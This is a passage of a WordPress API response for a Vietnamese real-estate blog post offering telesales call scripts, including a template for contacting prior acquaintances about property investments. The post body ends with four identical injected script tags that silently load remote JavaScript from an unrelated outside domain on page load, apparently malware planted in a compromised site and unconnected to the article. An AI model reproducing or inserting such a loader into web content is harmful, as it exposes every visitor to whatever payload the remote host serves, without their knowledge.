src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" style=\"--smush-placeholder-width: 600px; --smush-placeholder-aspect-ratio: 600\/401;\" \/><\/a><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Mau_Kich_ban_telesale_BDS_5_Gay_chu_y_tu_nhung_moi_quan_he_truoc_do\"><\/span><strong><em>M\u1eabu K\u1ecbch b\u1ea3n telesale B\u0110S 5: G\u00e2y ch\u00fa \u00fd t\u1eeb nh\u1eefng m\u1ed1i quan h\u1ec7 tr\u01b0\u1edbc \u0111\u00f3<\/em><\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>K\u1ecbch b\u1ea3n telesale b\u1ea5t \u0111\u1ed9ng s\u1ea3n\u00a0lo\u1ea1i n\u00e0y \u0111\u01b0\u1ee3c d\u00f9ng khi nh\u00e2n vi\u00ean telesale b\u1ea5t \u0111\u1ed9ng s\u1ea3n v\u00e0 kh\u00e1ch h\u00e0ng c\u00f3 quen bi\u1ebft nhau. Th\u00f4ng th\u01b0\u1eddng, c\u00e1c kh\u00e1ch h\u00e0ng, nh\u00e0 \u0111\u1ea7u t\u01b0 r\u1ea5t ch\u00fa tr\u1ecdng uy t\u00edn c\u00e1 nh\u00e2n b\u1ea1n hay t\u1ed5 ch\u1ee9c c\u1ee7a b\u1ea1n n\u00ean n\u1ebfu quen bi\u1ebft t\u1eeb tr\u01b0\u1edbc l\u00e0 m\u1ed9t l\u1ee3i th\u1ebf c\u1ef1c k\u00ec t\u1ed1t \u0111\u1ec3 ti\u1ebfp c\u1eadn kh\u00e1ch h\u00e0ng.<\/p>\n<p>Ch\u00e0o anh\/ch\u1ecb ____.Em l\u00e0 Ph\u1ea1m Tu\u1ea5n Nam. Ch\u00fang ta c\u00f3 g\u1eb7p nhau t\u1eeb ___\/qua_ gi\u1edbi thi\u1ec7u. Anh ch\u1ecb d\u1ea1o n\u00e0y c\u00f3 kho\u1ebb kh\u00f4ng \u1ea1?<\/p>\n<p>Nh\u01b0 gi\u1edbi thi\u1ec7u trong l\u1ea7n g\u1eb7p g\u1ee1 \u0111\u1ea7u ti\u00ean, em l\u00e0 chuy\u00ean vi\u00ean t\u01b0 v\u1ea5n \u0111\u1ea7u t\u01b0 b\u1ea5t \u0111\u1ed9ng s\u1ea3n c\u1ee7a C\u00f4ng ty c\u1ed5 ph\u1ea7n gi\u1ea3i ph\u00e1p c\u00f4ng ngh\u1ec7 B\u0110S &amp; \u0110\u1ea7u t\u01b0 RETI. D\u1ea1 ch\u1ecb cho em h\u1ecfi m\u00ecnh c\u00f3 \u0111ang quan t\u00e2m hay d\u1ef1 \u0111\u1ecbnh \u0111\u1ea7u t\u01b0, mua b\u00e1n b\u1ea5t \u0111\u1ed9ng s\u1ea3n n\u00e0o kh\u00f4ng \u1ea1? M\u00ecnh c\u00f3 th\u1ec3 chia s\u1ebb em t\u01b0 v\u1ea5n c\u1ee5 th\u1ec3 h\u01a1n th\u00f4ng tin c\u1ee7a d\u1ef1 \u00e1n cho m\u00ecnh. Ho\u1eb7c n\u1ebfu anh\/ch\u1ecb ch\u01b0a ch\u1ecdn \u0111\u01b0\u1ee3c d\u1ef1 \u00e1n ph\u00f9 h\u1ee3p em c\u00f3 th\u1ec3 gi\u1edbi thi\u1ec7u th\u00eam v\u00e0i d\u1ef1 \u00e1n m\u1edbi \u0111ang rao b\u00e1n r\u1ea5t ph\u00f9 h\u1ee3p cho anh\/ch\u1ecb \u0111\u1ea7u t\u01b0 ho\u1eb7c cho thu\u00ea, \u1edf d\u00e0i h\u1ea1n,\u2026<\/p>\n<p>Tr\u00ean \u0111\u00e2y l\u00e0 m\u1eabu k\u1ecbch b\u1ea1n gi\u00fap b\u1ea1n ch\u1ed1t sale b\u1eb1ng c\u00e1ch nh\u1eafm v\u00e0o t\u00e2m l\u00fd ng\u01b0\u1eddi d\u00f9ng, \u0111\u01b0a gi\u00e1 tr\u1ecb tr\u1ef1c ti\u1ebfp \u0111\u1ebfn kh\u00e1ch h\u00e0ng. Ch\u00ednh v\u00ec v\u1eady, kh\u00e1ch h\u00e0ng s\u1ebd c\u1ea3m th\u1ea5y h\u1ee9ng th\u00fa v\u00e0 t\u00f2 m\u00f2 mu\u1ed1n b\u1ea1n t\u01b0 v\u1ea5n k\u1ef9 h\u01a1n. Sau \u0111\u00f3, b\u1ea1n ch\u1ec9 c\u1ea7n n\u1eafm t\u1ed1t\u00a0k\u1ef9 n\u0103ng ch\u1ed1t sale B\u0110S v\u00e0 ch\u1ed1t deal c\u1ef1c nhanh ch\u00f3ng.<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Nh\u1eefng m\u1eabu k\u1ecbch b\u1ea3n telesale b\u1ea5t \u0111\u1ed9ng s\u1ea3n qua \u0111i\u1ec7n tho\u1ea1i v\u00f4 c\u00f9ng hi\u1ec7u qu\u1ea3 v\u1eeba \u0111em l\u1ea1i gi\u00e1 tr\u1ecb cho kh\u00e1ch h\u00e0ng, v\u1eeba thu h\u00fat \u0111\u01b0\u1ee3c s\u1ef1 quan t\u00e2m, ch\u00fa \u00fd c\u1ee7a h\u1ecd. V\u1eady n\u00ean nhi\u1ec1u ng\u01b0\u1eddi l\u00e0m sale b\u1ea5t \u0111\u1ed9ng s\u1ea3n kh\u00f4ng th\u1ec3 b\u1ecf qua c\u00e1c k\u1ef9 n\u0103ng n\u00e0y \u0111\u1ec3 tr\u1edf n\u00ean th\u00e0nh [&hellip;]<\/p>\n","protected":false},"author":36,"featured_media":38513,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"tdm_status":"","tdm_grid_status":"","footnotes":""},"categories":[610],"tags":[],"class_list":{"0":"post-38510","1":"post","2":"type-post","3":"status-publish","4":"format-standard","5":"has-post-thumbnail","7":"category-kinh-nghiem"},"external_url":"","featured_image_url":"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/kich-ban-sale-dat-nen-3.jpeg","_links":{"self":[{"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/posts\/38510","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/users\/36"}],"replies":[{"embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/comments?post=38510"}],"version-history":[{"count":0,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/posts\/38510\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/media\/38513"}],"wp:attachment":[{"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/media?parent=38510"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/categories?post=38510"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/tags?post=38510"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}